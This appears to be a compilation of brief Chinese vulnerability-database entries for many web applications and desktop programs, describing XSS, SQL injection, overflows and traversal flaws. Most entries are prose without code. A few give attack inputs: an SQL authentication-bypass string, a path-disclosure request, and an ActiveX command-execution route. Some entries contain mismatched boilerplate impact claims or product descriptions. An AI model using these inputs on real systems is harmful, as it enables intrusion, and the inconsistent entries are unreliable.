WordPress是一款使用PHP语言开发的内容管理系统。WordPress Subscribe2存在跨站脚本漏洞，由于通过"subject"参数传递到wp-admin/admin.php (当"page"设置为"s2_posts")的输入在wp-content/plugins/subscribe2/admin/send_email.php中被返回用户前未能正确过滤，攻击者利用漏洞可在受影响站点上下文的用户浏览器会话中执行任意HTML和脚本代码。
Distinct Intranet Servers是一套服务器软件包，用于FTP, NFS, LPD, TFTP和BOOTP 。Distinct Intranet Servers TFTP服务器存在目录遍历错误。允许攻击者通过GET或PUT请求下载或者操作TFTP ROOT目录之外的文件。
Adobe Photoshop是一款流行的图像处理软件。Adobe Photoshop CS5 12.X处理某些Collada文件元素时，U3D.8BI插件存在一个边界错误，构建特制的DAE文件，诱使用户解析可触发基于栈的缓冲区溢出，成功利用漏洞可以以应用程序上下文执行任意代码。
Hitachi COBOL GUI Run Time System中存在未明远程代码执行漏洞。远程攻击者可利用该漏洞在应用程序上下文中执行任意代码。
NetBill是一款开源的Web应用程序。NetBill存在脚本注入漏洞，由于通过"comment"参数传递到accounts/index2.php的输入在使用前未能正确过滤，攻击者可以利用漏洞在受影响站点上下文的用户浏览器会话中执行任意代码。
Belkin N150 Wireless Router存在信息泄露漏洞。攻击者可以利用这个问题在受影响的机器上执行任意代码，达到攻击的目的。            远程攻击者成功利用此漏洞可执行任意代码，如果利用失败可能引起拒绝服务。
WordPress是一种使用PHP语言开发的博客平台，用户可以在支持PHP和MySQL 数据库的服务器上架设自己的网志。WordPress插件WP-FaceThumb存在跨站脚本漏洞，由于传递到index.php 中"pagination_wp_facethumb"参数的输入(当WP-FaceThumb Gallery的id)在被返回用户前未能正确过滤，攻击者可以利用漏洞在受影响站点上下文的用户浏览器会话中执行任意HTML和脚本代码
WordPress是一款使用PHP语言开发的内容管理系统。WordPress Better WP Security存在跨站脚本漏洞。由于程序未能充分过滤用户提供的输入，攻击者可利用此漏洞在受影响的站点上下文的信任用户浏览器中执行任意脚本代码，窃取基于cookie的身份验证凭据并发起其他攻击。
FreeRealty是一款PHP脚本。FreeRealty存在跨站请求伪造漏洞，由于程序通过未经验证的HTTP请求执行某些操作，允许攻击者构建恶意链接，诱使登录用户解析。
FreeRealty是一款PHP脚本。FreeRealty存在跨站脚本漏洞，由于通过"title"，"previewdesc"，"fulldesc"和"notes" POST参数传递到agentadmin.php的输入在创建或更新列表时未能正确过滤，攻击者可以利用漏洞在受影响站点上下文的用户浏览器会话中，执行任意HTML和脚本代码。
FreeRealty是一款PHP脚本。FreeRealty存在SQL注入漏洞，由于通过"view"参数传递到agentdisplay.php的输入在被用于SQL查询前未能正确过滤，攻击者可以通过注入SQL代码操纵SQL查询。
Universal Reader是一个很多下载的屏幕阅读器阅读。Universal Reader存在拒绝服务漏洞。攻击者可以利用漏洞使受影响的应用程序崩溃，拒绝合法用户的服务。
Proman Xpress是一款项目管理系统。Proman Xpress存在脚本注入漏洞，由于通过"cl_comments"参数传递到client_details.php的输入在被使用前未能正确过滤，攻击者可以利用漏洞在受影响站点上下文的用户浏览器会话中，执行任意HTML和脚本代码。
Travelon Express是一款内容管理系统。Travelon Express存在SQL注入漏洞，由于通过"hid"参数传递到holiday.php和holiday_book.php的输入在被用于SQL查询前未能正确过滤，攻击者可以利用漏洞注入任意SQL代码操纵SQL查询。
Liferay是一个完整的门户解决方案，基于J2EE的应用。Liferay Portal存在安全绕过漏洞。攻击者可以利用漏洞绕过某些安全限制并以提升的权限执行未经授权的行动。
Hitachi IT Operations Director 是系统管理软件，可自动将任务与IT 基础结构生命周期相关联。Hitachi IT Operations Director存在拒绝服务漏洞。由于程序未能充分处理用户提供的输入，攻击者可以利用漏洞导致拒绝服务条件。
Hitachi IT Operations Director 是系统管理软件，可自动将任务与IT 基础结构生命周期相关联。Hitachi IT Operations Director存在跨站脚本漏洞。由于程序未能充分处理用户提供的输入，攻击者可以利用漏洞在受影响的站点上下文的信任用户浏览器中执行任意脚本代码，窃取基于cookie的身份验证凭据并发起其他攻击。
HITACHI COBOL是一款集成开发环境。Hitachi COBOL GUI Run Time System存在代码执行漏洞，目前没有详细细节提供。
Bytemark是一款网络托管软件。Bytemark存在密码检查安全绕过漏洞，由于程序在认证请求时未验证密码，攻击者利用漏洞可未经授权的访问到用户的邮箱。
Sockso是一款音乐服务器，支持MP3,WMA。Sockso存在脚本插入漏洞。由于通过"name"参数传递至/user/register的输入，在被返回至用户前未能正确过滤，那么恶意数据被查看时，攻击者可利用漏洞在受影响站点上下文的用户浏览器会话中注入任意HTML和脚本代码。
Smarty是一个使用PHP写出来的模板引擎。Smarty存在跨站脚本漏洞，由于"smarty_function_html_options_optoutput()"方法中的某些输入在distribution/libs/plugins/function.html_options.php中被返回用户前未能正确过滤，攻击者可以利用漏洞在受影响上下文的用户浏览器会话中执行任意HTML和脚本代码。
WordPress是一种使用PHP语言开发的博客平台，用户可以在支持PHP和MySQL 数据库的服务器上架设自己的网志。WordPress BulletProof Security 'Accept-Encoding' Header存在跨站脚本漏洞。攻击者可以利用这个问题在受影响的机器上执行任意代码，达到攻击的目的。
WordPress是一种使用PHP语言开发的博客平台，用户可以在支持PHP和MySQL 数据库的服务器上架设自己的网志。WordPress插件Bad Behavior存在多个跨站脚本漏洞。攻击者可以利用这个问题在受影响的机器上执行任意代码，达到攻击的目的。
eLearning Server是一款学习平台软件。eLearning Server 4G存在SQL注入漏洞，攻击者可以利用漏洞在受影响的机器上执行任意代码，达到攻击的目的。
eLearning Server是一款学习平台软件。eLearning Server 4G存在远程文件包含漏洞，攻击者可以利用漏洞在受影响的机器上执行任意代码，达到攻击的目的。
chevereto是一款采用PHP语言开发的网络相册脚本程序。chevereto存在拒绝服务漏洞，攻击者可以利用漏洞在受影响的机器上执行任意代码，达到攻击的目的。
eFront是一套在线学习系统。eFront存在任意文件上传漏洞。由于程序未能正确过滤用户提供的输入，攻击者可以利用漏洞上传并执行任意文件在Web服务器中并发动其他攻击。
eFront是一套在线学习系统。eFront存在跨站脚本漏洞。由于程序未能正确过滤用户提供的输入，攻击者可以利用漏洞窃取基于Cookie的身份验证信息并在浏览器上下文中执行任意脚本。
Phindows（Windows里的Photon），一个到QNX? Photon microGUI窗口系统的远程连接工具，让你通过IP网络或串口连接从远程Windows桌面与你的QNX Photon microGUI应用程序互交。当处理服务器应答时phindows.exe存在边界错误，通过特制的TCP应答报文可触发基于栈的缓冲区溢出，诱使用户链接恶意Photon会话服务器，可导致任意代码执行。
Opera是一款开源的WEB浏览器。Opera存在安全漏洞。部分网页地址(URL)结构可导致Opera分配错误数量的内存来存储地址，当尝试存储地址时，可使用攻击者可控数据覆盖不相关内存，导致应用程序崩溃，成功利用漏洞可以以应用程序上下文执行任意代码。
Mahara是一款开源的电子文件夹，网络日志，履历表生成器和社会化网络系统。Mahara基于SAML的验证存在漏洞，允许控制一个SAML身份提供者(identity provider)的攻击者冒充其他SAML IDP上的用户。
Tor软件是通过在分布式中继网络传递通讯来保证信息安全的解决方案。Tor Browser Bundle使您无需安装任何软件，即可在Windows、Mac OS X或Linux上使用Tor。 Firefox使用的Tor Browser Bundle在实现上存在安全限制绕过漏洞，当浏览启用了JavaScript的某些网站时（ 例如：http://bitcoincharts.com ），未经过Tor即请求了该域的DNS，攻击者可利用此漏洞获取某些信息。
myCare2x是一个web应用程序，所有的程序模块及数据访问处理都在该服务器上。myCare2x CMS存在多个SQL注入漏洞。允许攻击者可利用此漏洞在受影响的dbms中注入并执行任意SQL命令。
Chevereto是一款采用PHP语言开发的网络相册脚本程序Chevereto存在上传脚本信息泄露漏洞。攻击者可以利用这个问题在受影响的机器上执行任意代码，达到攻击的目的。
Chevereto是一款采用PHP语言开发的网络相册脚本程序。Chevereto存在图片上传脚本跨站脚本漏洞。攻击者可以利用这个问题在受影响的机器上执行任意代码，达到攻击的目的。
phpMyFAQ是一个支持多语言的FAQ系统，类似百度知道，支持多种数据库。phpMyFAQ存在默认密码安全绕过漏洞。攻击者可以利用这个问题在受影响的机器上执行任意代码，达到攻击的目的。
WordPress是一种使用PHP语言开发的博客平台，用户可以在支持PHP和MySQL 数据库的服务器上架设自己的网志。WordPress User Photo '$_SERVER['REQUEST_URI']'参数存在跨站脚本漏洞。攻击者可以利用这个问题在受影响的机器上执行任意代码，达到攻击的目的。
Kerio WinRoute Firewall是一款Kerio公司推出的防火墙软件。Kerio WinRoute Firewall WEB服务器存在输入验证错误，允许攻击者提交恶意请求获得源代码信息。
Galette是一款会员管理应用程序。Galette存在SQL注入漏洞。由于Galette 'picture.php'脚本未能正确过滤用户提交的输入，攻击者可以利用漏洞进行SQL注入攻击，可操作数据库或控制应用系统。
Drupal是一款开放源码的内容管理平台。Drupal存在路径泄露漏洞。由于Drupal未能正确处理用户提交的请求，攻击者提交类似如下请求：http://localhost/?q[]=x可获得应用程序的安装全路径信息。
Drupal是一款流行的内容管理系统。Drupal Glossary模块存在跨站脚本漏洞。由于程序未能正确过滤用户提供的输入，攻击者可以利用漏洞在受影响的站点上下文的信任用户浏览器中执行任意脚本代码，窃取基于cookie的身份验证凭据并发起其他攻击。
JibberBook是一款开源的留言系统。JibberBook存在安全绕过漏洞，攻击者可以利用漏洞绕过认证，获得管理权限。
Drupal是一款流行的内容管理系统。Drupal Contact Forms模块存在访问绕过漏洞。攻击者可以利用漏洞绕过某些安全限制，获得敏感的应用领域并执行未经授权的行动。
Lynx是一款系统服务器软件。Lynx Message Server存在跨站脚本漏洞，利用漏洞攻击者可以窃取基于Cookie的身份验证凭据。
Lynx是一款系统服务器软件。Lynx Message Server存在SQL注入漏洞，攻击者利用漏洞可以访问或修改数据，或利用底层数据库中的潜在漏洞。
Core FTP是一款FTP客户端，支持SFTP (SSH), SSL, TLS, IDN等协议。当处理要下载的文件名时存在边界错误，通过特制的FTP LIST命令应答和触发基于栈的缓冲区溢出，攻击者可以利用漏洞以应用程序上下文执行任意代码。
DecisionTools Suite是一套在Microsoft Excel量身定制集成程序，从而使用户可以在一个软件包中针对不确定因素完成风险优化及决策分析的操作。SharpGrid ActiveX控件处理"Images"属性存在错误，由于不安全使用指定值作为图像列表指针，可被利用在任意内存位置调用虚函数，攻击者可以利用漏洞以应用程序上下文执行任意代码。
Joomla!是基于php mysql模式的快速建站系统。Joomla! 'ja_purity'模板存在跨站脚本漏洞吗，由于程序未能正确过滤用户提供的程序，攻击者可以利用漏洞在受影响站点上下文的不知情用户浏览器中执行任意脚本代码，窃取基于Cookie的身份验证凭据。
IMP是Horde工程组的成员开发的基于web的邮件服务程序。Horde IMP Webmail客户端存在跨站脚本漏洞。由于传递给动态撰写页，最小化收件箱，消息页面的输入在返回用户之前缺少过滤，可被利用进行跨站脚本攻击，构建恶意WEB页，诱使用户解析，可获得敏感信息或劫持用户会话。
WordPress是一款使用PHP语言开发的内容管理系统。WordPress插件Login With Ajax存在跨站脚本漏洞，由于通过JSON callback传递的输入再被返回用户前未能正确过滤，攻击者可以利用漏洞在受影响站点上下文的用户浏览器会话中执行任意HTML和脚本代码。
WordPress是一种使用PHP语言开发的博客平台，用户可以在支持PHP和MySQL数据库的服务器上架设自己的网志。  WordPress的Login With Ajax插件3.0.4.1之前版本中存在跨站脚本漏洞，该漏洞源于对用户提供的输入未经正确过滤。攻击者可利用该漏洞在受影响站点上下文的不知情用户浏览器上执行任意脚本代码，盗取基于cookie的认证证书进而发起其他攻击。
XPhone Unified Communications 2011是集成电话，手机，传真，语音邮件，短消息等的同一通信解决方案。通过联系人中的公司名提交的输入在用于XPhone UC Web和XPhone虚拟目录WEB前端之前缺少过滤，可被利用注入任意HTML和脚本代码，构建恶意WEB页，诱使用户解析，可获得敏感信息或劫持用户会话。
Node.js是一套用来编写高性能网络服务器的JavaScript工具包。当处理某些字符串时HTTP解析器存在错误，可被利用泄露其他链接的HTTP头字段数据，导致敏感信息泄露。
MyBB是一款流行的论坛程序。MyBB邮件日志中的管理控制面板存在SQL注入漏洞，允许攻击者进行恶意攻击。
Trombisnoscope是一个模块，显示一列时尚的联系人列表。Trombinoscope 'photo.php'服务存在SQL注入漏洞。攻击者可以利用这个问题在受影响的机器上执行任意代码，达到攻击的目的。
Apple Mac OS X是一款苹果公司开发的操作系统。当使用"Legacy FileVault时FileVault中会启用调试开关，这可导致用户的密码以明文方式保存在DEBUGLOG中，通过"FireWire target disk mode"模式启动读取密码信息。
EMC Documentum IRM Server可以对文档在业务流程中的移动过程进行安全控制。EMC Documentum IRM Server在发送非法版本兼容检查请求后处理命令时存在空指针引用错误。允许攻击者进行拒绝服务攻击。
EMC Documentum IRM Server可以对文档在业务流程中的移动过程进行安全控制。EMC Documentum IRM Server当处理版本兼容检查请求时存在空指针引用错误，可导致应用程序崩溃。
Linux是一款开源的操作系统。hfs_bnode_read()函数(at fs/hfs/bnode.c:24)处理特制的HFS文件系统时，memcpy()调用存在一个缓冲区溢出。函数hfsplus_rename_cat() (fs/hfsplus/catalog.c)和hfsplus_readdir() (fs/hfsplus/dir.c)调用hfs_bnode_read()，从文件系统中读取源缓冲区和长度，拷贝到固定长度的目的缓冲区时缺少充分校验，可触发此漏洞。
WordPress是一款使用PHP语言开发的内容管理系统。WordPress存在HTML注入漏洞，允许攻击者构建恶意WEB页，诱使用户解析，可获得敏感信息或劫持用户会话。
MYRE Real Estate Software是一款房地产软件。MYRE Real Estate Mobile存在HTML注入漏洞。攻击者可以利用这个问题在受影响的机器上执行任意代码，达到攻击的目的。
MYRE Real Estate Software是一款房地产软件。MYRE Real Estate Mobile存在多个SQL注入漏洞。攻击者可以利用这个问题在受影响的机器上执行任意代码，达到攻击的目的。
Excel是微软公司的办公软件Microsoft office的组件之一，是由Microsoft为Windows和Apple Macintosh操作系统的电脑而编写和运行的一款试算表软件。Microsoft Excel在实现上存在远程代码执行漏洞，攻击者通过诱使用户打开特制的Excel文件，利用此漏洞以当前用户权限执行任意代码。
Websense是网络过滤器产品。Websense Triton是内容安全解决方案。 Websense (Triton 7.6)在启用了身份验证会话令牌捕获的报告管理UI的实现上存在反射跨站脚本，可允许攻击者访问报告UI或在管理员浏览器和Websense管理UI背景下运行任意JavaScript，窃取Cookie身份验证凭证。
Symantec Web Gateway是一款Web安全网关硬件设备。Symantec Web Gateway "spywall/timer.php"脚本不正确过滤用户提交给"i"参数的数据，攻击者可以利用漏洞进行跨站脚本攻击，可获得敏感信息或劫持用户会话。
Micro Technology Services是一个工程服务公司。Micro Technology Services提供的LynxTCPService和Lynx Message Server产品未能正确过滤用户输入，可导致SQL注入攻击，攻击者可获得数据库敏感信息或控制应用系统。
Micro Technology Services是一个工程服务公司。Micro Technology Services提供的LynxTCPService和Lynx Message Server产品未能正确过滤用户输入，可导致跨站脚本攻击，攻击者可获得敏感信息或劫持用户会话。
iGuard Security Access Control是门禁等访问控制系统。iGuard Security Access Control嵌入的WEB服务器未能正确过滤用户输入，攻击者可以利用漏洞进行跨站脚本攻击，可获得敏感信息或劫持用户会话。
ExoPHPDesk是一个需要与客户沟通的互联网公司的服务台。 包括管理区，员工区， 会员区。ExoPHPDesk存在漏洞。由于ExoPHPDesk 'admin.php'未能正确过滤用户提交的输入，攻击者输入合法用户名，在密码字段输入' or =可绕过验证，未授权访问系统。
ATutor是一个开源基于Web的学习管理系统(LCMS)。ATutor存在多个跨站脚本漏洞。由于应用程序在被用于动态生成的内容之前未能正确过滤用户提供的输入，攻击者可利用此漏洞在受影响的站点上下文的信任用户浏览器中执行任意HTML和脚本代码，允许攻击者窃取基于Cookie的身份验证凭据并发动其他攻击。
Symantec pcAnywhere是一款流行的远程管理程序。Symantec pcAnywhere存在不安全的文件权限提升漏洞，由于应用程序二进制中文件权限不足，攻击者可以利用漏洞提升本地权限。
WordPress是一款使用PHP语言开发的内容管理系统。WordPress Zingiri网上商店插件存在HTML注入漏洞。由于程序未能正确过滤用户提供的输入，攻击者可利用此漏洞在受影响的浏览器的上下文中执行HTML和脚本代码，窃取基于Cookie的身份验证凭据并控制该网站是如何呈现给用户。
Drupal是一款流行的内容管理系统。Drupal Taxonomy Grid : Catalog模块存在跨站脚本漏洞。由于程序未能正确过滤用户提供的输入，攻击者可利用此漏洞在受影响的站点上下文的信任用户浏览器中执行任意脚本代码，窃取基于cookie的身份验证凭据并发起其他攻击。
eFront是一套在线学习系统。eFront用户权举漏洞。由于程序未能正确过滤用户提供的输入，攻击者可以利用用户枚举的弱点收获有效的用户名。
eFront是一套在线学习系统。eFront存在信息泄露漏洞。由于程序未能正确过滤用户提供的输入，攻击者可以利用漏洞获得敏感信息。
PHP是英文超级文本预处理语言Hypertext Preprocessor的缩写。PHP-Pastebin'title'参数存在HTML注入漏洞。攻击者可以利用这个问题在受影响的机器上执行任意代码，达到攻击的目的。
Drupal是一款流行的内容管理系统。Drupal Addressbook模块存在SQL注入漏洞。攻击者可以利用漏洞危及应用程序，访问或修改数据，或利用在基础数据库中的潜在漏洞。
Drupal是一款流行的内容管理系统。Drupal Addressbook模块存在跨站脚本漏洞。攻击者可以利用漏洞窃取基于Cookie的身份验证凭据并控制网站是如何呈现给用户。
Drupal是一款流行的内容管理系统。Drupal Addressbook模块存在跨站请求伪造漏洞。攻击者可以利用漏洞在受影响的应用程序中执行某些行为以攻击未经授权的访问。
vBulletin是一款基于PHP的论坛程序。vBulletin存在参数跨站脚本漏洞。由于应用程序未能正确过滤用户提供的输入，攻击者可以利用漏洞在受影响的站点上下文的信任用户浏览器中执行任意脚本代码，窃取基于cookie的身份验证凭据并发起其他攻击。
SKYUC是一套PHP视频点播系统。SKYUC存在跨站脚本漏洞，由于通过"encode"参数传递到search.php的输入在被使用前未能正确过滤，攻击者可以利用漏洞在受影响站点上下文的用户浏览器会话中执行任意HTML和脚本代码。
Opial是用于在网站上管理音频/视频下载的工具。Opial存在SQL注入漏洞，由于通过"albumid"参数传递到albumdetail.php的输入在被用于SQL查询前未能正确过滤，攻击者可以利用漏洞通过注入任意SQL代码操纵SQL查询。
Opial是用于在网站上管理音频/视频下载的工具。Opial存在脚本注入漏洞，由于通过"searchkeayword"参数传递到searchresult.php的输入在被使用前未能正确过滤，攻击者可以利用漏洞注入任意HTML和脚本代码。
MyClientBase是一款发票管理系统。MyClientBase存在SQL注入漏洞，由于通过"invoice_number" POST参数传递到index.php/invoice_search (当"output_type"设置为"index")的输入再被用于SQL查询前未能正确过滤，攻击者可以利用漏洞通过注入任意SQL代码操纵SQL查询。
Croogo是一个基于CakePHP框架开发的内容管理系统。Croogo CMS存在多个HTML注入漏洞。由于程序未能正确过滤用户提供的输入，在受影响的浏览器上下文中执行HTML和脚本代码，窃取基于Cookie的身份验证凭据并控制该网站是如何呈现给用户。
MyClientBase是一款发票管理系统。MyClientBase存在脚本注入漏洞，由于通过"first_name"和"last_name" POST参数传递到index.php/users/profile的输入在被使用前，攻击者可以利用漏洞注入任意HTML和脚本代码。
Decoda是一个Lua编辑和调试工具。Decoda存在跨站脚本漏洞。由于程序未能正确过滤用户提供的输入，攻击者可利用此漏洞在受影响的站点上下文的信任用户浏览器中执行任意脚本代码，窃取基于cookie的身份验证凭据并发起其他攻击。
pluxml是基于xml的blog类型的cms。pluxml存在漏洞。由于通过"default_lang" POST参数传递给/update/index.php叫恩的输入在用于include_once()函数之前缺少校验，可被利用包含任意本地文件，通过目录遍历和URL编码NULL字节可触发。
Microsoft Windows是一款流行的操作系统。Microsoft Windows内核'Win32k.sys'驱动存在安全漏洞可触发空指针引用，本地攻击者可以利用此漏洞使系统触发BSOD。
LAN Messenger是一款用于WAN, LAN或INTRANET网络环境的消息工具，可以发送或接收信息。LAN Messenger存在拒绝服务漏洞。由于LAN Messenger未能正确处理用户提交的网络报文，攻击者可以利用此漏洞使应用程序崩溃，造成拒绝服务。
Citrix Provisioning Services能够创建一套使用流技术传输物理和虚拟服务器的镜像，从而降低存储需求，实现快速、一致而可靠的应用部署。Citrix Provisioning Services处理请求时存在一个未明错误，远程攻击者可以利用此漏洞执行任意代码。
Prolog（Programming in Logic的缩写）是一种逻辑编程语言。它建立在逻辑学的理论基础之上， 最初被运用于自然语言等研究领域。Pritlog存在多个HTML注入漏洞。攻击者可以利用这个问题在受影响的机器上执行任意代码，达到攻击的目的。
WordPress是一种使用PHP语言开发的博客平台，用户可以在支持PHP和MySQL 数据库的服务器上架设自己的网志。WordPress插件WPSC MijnPress 'rwflush'参数存在跨站点脚本漏洞。攻击者可以利用这个问题在受影响的机器上执行任意代码，达到攻击的目的。
Net-SNMP是一个免费的、开放源码的SNMP实现，以前称为UCD-SNMP。Net-SNMP代理在扩展表中查找条目时存在数组索引错误，可导致堆缓冲区溢出读取漏洞。当extend指令处理某些MIB子树时，如果远程攻击者可以读取子树，则可利用此漏洞通过SNMP GET请求不存在的扩展表条目造成拒绝服务。
PHP Volunteer Management中存在SQL注入漏洞，该漏洞源于对用户提供的数据在用于SQL查询之前未经充分过滤。攻击者可利用该漏洞操控应用程序，访问或修改数据，或者在底层数据库中利用该漏洞。PHP Volunteer Management 1.0.2版本中存在该漏洞，其他版本可能受到影响。
MySQLDumper是一个备份和恢复MySQL数据库的PHP管理脚本。MySQLDumper存在漏洞。由于MySQLDumper 'menu.php'未能正确处理用户提交的输入，远程攻击者可以利用此漏洞以WEB权限执行任意PHP代码。
Nokia PC Suite Video Manager是一款诺基亚发布的视频管理器。Nokia PC Suite Video Manager不正确处理'.mp4'文件，攻击者构建恶意文件，诱使用户解析，可使应用程序崩溃。
McAfee Virtual Technician能够诊断和解决许多与McAfee 产品有关的问题。McAfee Virtual Technician MVTControl ActiveX控件存在一个安全漏洞，允许恶意用户执行任意代码。由于"GetObject()"方法(mvt.dll)允许实例任意COM对象，可利用"WScript.Shell"组件通过 "Exec()"方法执行任意命令。
PHP是一种在服务器端执行的嵌入HTML文档的脚本语言。PHP Getimagesiz函数用于判断图像大小，接收一个URI参数，Getimagesize()没有实现任意函数来校验远程服务器上下载的文件是否会图像或大小超过预期，可使PHP下载超大文件，造成拒绝服务攻击。
Remote-Anything是一套可以帮你遥控远端电脑的软体。Remote-Anything Player不正确".flm"文件，攻击者构建恶意文件，诱使用户解析，可使应用程序崩溃。
Samsung NET-i ware是网络录像软件。Samsung NET-i Viewer 'msls31.dll' ActiveX存在缓冲区溢出，攻击者构建恶意WEB页，诱使用户解析，可以应用程序上下文执行任意代码。
Soco CMS是一款内容管理系统。Soco CMS不正确过滤用户提交的'page'参数，攻击者可以提交恶意参数，可以WEB权限查看系统文件。
vBulletin是一款基于PHP的论坛程序。vBulletin "Patch/includes/functions_cron.php"不正确过滤用户提交的'nextitem'参数，攻击者可以提交恶意参数，可以WEB权限查看系统文件。
GENU是一款内容管理系统。GENU存在多个SQL注入漏洞。由于GENU多个脚本未能正确处理用户提交的输入，攻击者可以利用漏洞提交恶意SQL查询，获得数据库信息或控制应用系统。
WordPress是一种使用PHP语言开发的博客平台，用户可以在支持PHP和MySQL 数据库的服务器上架设自己的网志。WordPress Zingiri网上商店插件存在HTML注入漏洞。攻击者可以利用这个问题在受影响的机器上执行任意代码，达到攻击的目的。
e107是一款内容管理程序。e107存在跨站脚本漏洞。由于程序未能正确过滤用户提供的输入，攻击者可以利用漏洞在受影响的站点上下文的信任用户浏览器中执行任意脚本代码，允许窃取基于cookie的身份验证凭据并发起其他攻击。
Quick.Cms是一个内容管理系统。Quick.CMS存在参数跨站脚本漏洞。由于应用程序未能正确过滤用户提供的输入，攻击者可以利用漏洞在受影响的站点上下文的信任用户浏览器中执行任意脚本代码，允许窃取基于cookie的身份验证凭据并发起其他攻击。
Car Portal CMS是一款内容管理系统。DiY-CMS存在跨站请求伪造漏洞，由于程序允许通过未经有效性检查的HTTP请求用户执行某些操作，攻击者可诱使管理用户登录恶意网站，删除用户账户。
Axous是一个软件供应商的网上商店系统。Axous存在SQL注入漏洞。由于应用程序在SQL查询使用前没有充分过滤用户提供的数据。攻击者可以利用漏洞危及应用程序，访问或修改数据，或利用底层数据库中的漏洞。
DiY-CMS 是一款基于php mysql的CMS系统。DiY-CMS存在跨站请求伪造漏洞，由于程序允许通过未经有效性检查的HTTP请求用户执行某些操作，攻击者可诱使管理用户登录恶意网站，删除论坛类别。
DoceboLMS是一款基于PHP的内容管理程序。DoceboLMS存在HTML注入漏洞。由于应用程序未能充分过滤用户提供的数据，攻击者可以利用漏洞在受影的浏览器上下文中执行HTML和脚本代码。
DoceboLMS是一款基于PHP的内容管理程序。DoceboLMS存在跨站脚本漏洞。由于应用程序未能充分过滤用户提供的数据，攻击者可以利用漏洞窃取基于Cookie的身份验证凭据并控制该网站是如何呈现给用户。
SilverStripe是一款内容管理系统(CMS)。SilverStripe存在PHP代码注入漏洞。攻击者可以利用漏洞以应用程序上下文中注入并执行任意PHP代码。
Joomla!是一款开放源码的内容管理系统(CMS)。Joomla!组件nBill存在跨站脚本漏洞。由于程序未能正确过滤用户提供的输入，攻击者可利用此漏洞在受影响的站点上下文的信任用户浏览器中执行任意脚本代码，窃取基于cookie的身份验证凭据并发起其他攻击。
eFront是一套在线学习系统。eFront存在路径泄露漏洞，由于程序访问无效的"courses_ID"，导致完整的安装路径泄露。
Joomla!是基于php mysql模式的快速建站系统。Joomla!存在跨站脚本漏洞。由于Joomla!未能正确处理'Host' HTTP头字段数据，攻击者可利用此漏洞进行跨站脚本攻击，可获得敏感信息或劫持用户会话。
CPE17 Autorun Killer用于保护和删除病毒自动运行。CPE17 Autorun Killer readfile函数存在缓冲区溢出漏洞。攻击者可以利用漏洞使应用程序崩溃。
Shadow Stream Recorder是一款流媒体录音器。Shadow Stream Recorder存在缓冲区溢出漏洞，由于其边界条件错误，攻击者可利用此漏洞在受影响应用程序中执行任意代码或引起拒绝服务。
Samba是一套实现SMB（Server Messages Block）协议、跨平台进行文件共享和打印共享服务的程序。Samba mount.cifs在fstab文件实际检查之前即对特定目录进行了chdir，因为mount.cifs安装为setuid，这会允许攻击者通过检查错误响应枚举系统文件和目录，从而绕过安全限制、执行非法操作、识别root文件和目录。
Drupal是一款流行的内容管理系统。Drupal Site Documentation模块存在信息泄露漏洞。攻击者可以利用漏洞获得敏感信息。
Concrete5是一个开源的内容管理系统。concrete5存在跨站脚本漏洞，由于程序未能充分过滤用户提供的输入，攻击者可以在受影响站点上下文的不知情用户浏览器中执行任意脚本代码。
Concrete5是一个开源的内容管理系统。Concrete5存在SQL注入漏洞，由于程序未能充分过滤用户提供的输入，攻击者可以访问或修改数据，利用底层数据库中的潜在漏洞。
Concrete5是一个开源的内容管理系统。concrete5存在信息泄露漏洞，由于程序未能充分过滤用户提供的输入，攻击者可以利用漏洞获得敏感信息。
gpEasy是一款内容管理系统。gpEasy存在跨站脚本漏洞，由于程序未能验证用户提供的输入，攻击者可以利用漏洞在受影响站点上下文的不知情用户浏览器中执行任意脚本代码，窃取基于Cookie的身份验证凭据，并发动其他攻击。
Drupal是一款流行的内容管理系统。Drupal Ubercar模块存在信息泄露漏洞。攻击者可以利用漏洞获得敏感信息。
Drupal是一款流行的内容管理系统。Drupal Ubercar模块存在跨站脚本漏洞。攻击者可以利用漏洞从合法用户的站点中窃取基于Cookie的身份验证凭据。
WordPress是一款使用PHP语言开发的内容管理系统。WordPress插件ShareYourCart存在路径泄露漏洞。攻击者可以利用漏洞获取敏感信息并可能会导致进一步的攻击。
Parallels Plesk Panel是带有集成web设计、SaaS市场与付费系统的web主机控制面板。在备份过程中PLESK panel会把处理的详细日志记录到/opt/psa/PMM/sessions(Debian/Ubuntu)和/usr/local/psa/PMM/sessions(Centos)中，详细的日志文件以psadump.log命名，并全局可读，此文件包含管理员信息。
Drupal是一款流行的内容管理系统。Drupal Linkit模块存在安全绕过漏洞。攻击者可以利用漏洞绕过某些安全限制并执行未经授权的操作。
PHP Volunteer Management是一个开源的Web应用程序或脚本。PHP Volunteer Management存在跨站脚本漏洞。攻击者可以利用漏洞执行任意脚本代码，窃取基于Cookie的身份验证凭据。
PHP Volunteer Management是一个开源的Web应用程序或脚本。PHP Volunteer Management存在SQL注入漏洞。攻击者可以利用漏洞危及应用程序，访问或修改数据，或利用底层数据库中的潜在漏洞。
Packetvideo Twonky是多媒体和视频解决方案。多个Packetvideo Twonky产品默认运行在9000端口的WEB服务器存在目录遍历漏洞，未验证远程攻击者可以使用此漏洞获取WEB ROOT目录之外的任意文件。
Discuz!是一款国内流行的社区论坛平台。/source/class/helper/helper_seo.php脚本提供的preg_replace使用了e修正符，又是双引号，可导致远程任意代码执行。要成功利用漏洞需要后台打开SEO功能。
ACTi Web Configurator用于基于WEB的摄像头监控。ACTi Web Configurator cgi-bin目录存在目录遍历漏洞，未验证远程攻击者可以利用漏洞获得WEB ROOT目录之外的任意文件。
Drupal是使用PHP语言编写的开源内容管理框架（CMF），它由内容管理系统（CMS）和PHP开发框架（Framework）共同构成。Drupal真实姓名模块存在跨站脚本漏洞。攻击者可以利用这个问题在受影响的机器上执行任意代码，达到攻击的目的。
Joomla!是一款开放源码的内容管理系统(CMS)。Joomla!组件ccNewsletter存在SQL注入漏洞，由于通过"id"参数传递到modules/mod_ccnewsletter/helper/popup.php的输入在被用于SQL查询前未能正确过滤，攻击者可以利用漏洞通过注入任意SQL代码操纵SQL查询。
Microsoft Visual Studio是一款微软公司的开发工具套件系列产品。在基于COFF符号数量的基础上分配内存时连接器(link.exe)存在整数溢出，构建特制的PE文件，可触发基于堆的缓冲区溢出。要成功利用漏洞需要诱使用户通过"dumpbin"或"link /dump"工具处理特制文件。
Ettercap是一款功能强大的嗅探器。Ettercap不正确装载'exchndl.dll'和'quserex.dll' DLL库，攻击者可以构建恶意文件，诱使用户处理，以应用程序上下文装载恶意库并执行。
SPIP是基于Web的内容发布系统。SPIP存在多个未明跨站脚本漏洞。攻击者可以利用这个问题在受影响的机器上执行任意代码，达到攻击的目的。
